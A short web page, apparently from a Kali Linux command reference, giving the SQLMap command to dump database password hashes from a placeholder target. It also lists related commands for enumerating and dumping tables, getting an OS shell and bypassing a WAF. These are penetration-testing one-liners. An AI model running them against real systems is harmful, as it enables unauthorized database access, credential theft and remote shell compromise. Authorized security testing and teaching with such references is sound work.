← All Kali Commands
🌐 Web Application SQLMap

Dump password hashes

SQLMap command for dump password hashes. Copy the command below and use it in your terminal.

sqlmap — terminal
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://target/page?id=1" --passwords
Tool
SQLMap
Category
Web Application
Purpose
Dump password hashes

🛡️ Usage Tips

  • Always ensure you have proper authorization before using SQLMap against any target
  • Replace target with the actual IP address or hostname you are testing
  • Run this command from a Kali Linux terminal or any system with SQLMap installed
  • Combine with other SQLMap commands for more comprehensive results
  • Pipe output to a file with > output.txt for later analysis

🔗 More SQLMap Commands

sqlmap -u "http://target/page?id=1" --dbs
Enumerate databases
sqlmap -u "http://target/page?id=1" -D db --tables
List tables
sqlmap -u "http://target/page?id=1" -D db -T tbl --dump
Dump table
sqlmap -u "http://target/page?id=1" --os-shell
OS shell
sqlmap -u "http://target/page?id=1" --batch --level 5 --risk 3
Max detection
sqlmap -r request.txt
From saved HTTP request
sqlmap -u "http://target/page?id=1" --tamper=space2comment
WAF bypass tamper
sqlmap -u "http://target/page?id=1" --forms
Auto-detect forms
sqlmap -u "http://target/page?id=1" --technique=BEUSTQ
All injection techniques
sqlmap -u "http://target/page?id=1" --current-user
Current DB user
sqlmap -u "http://target/page?id=1" --current-db
Current database
sqlmap -u "http://target/page?id=1" --is-dba
Check DBA privileges

🌐 Other Web Application Tools

Gobuster ffuf Nikto WPScan BurpSuite OWASP ZAP
📚 Learn Kali Linux — Free Course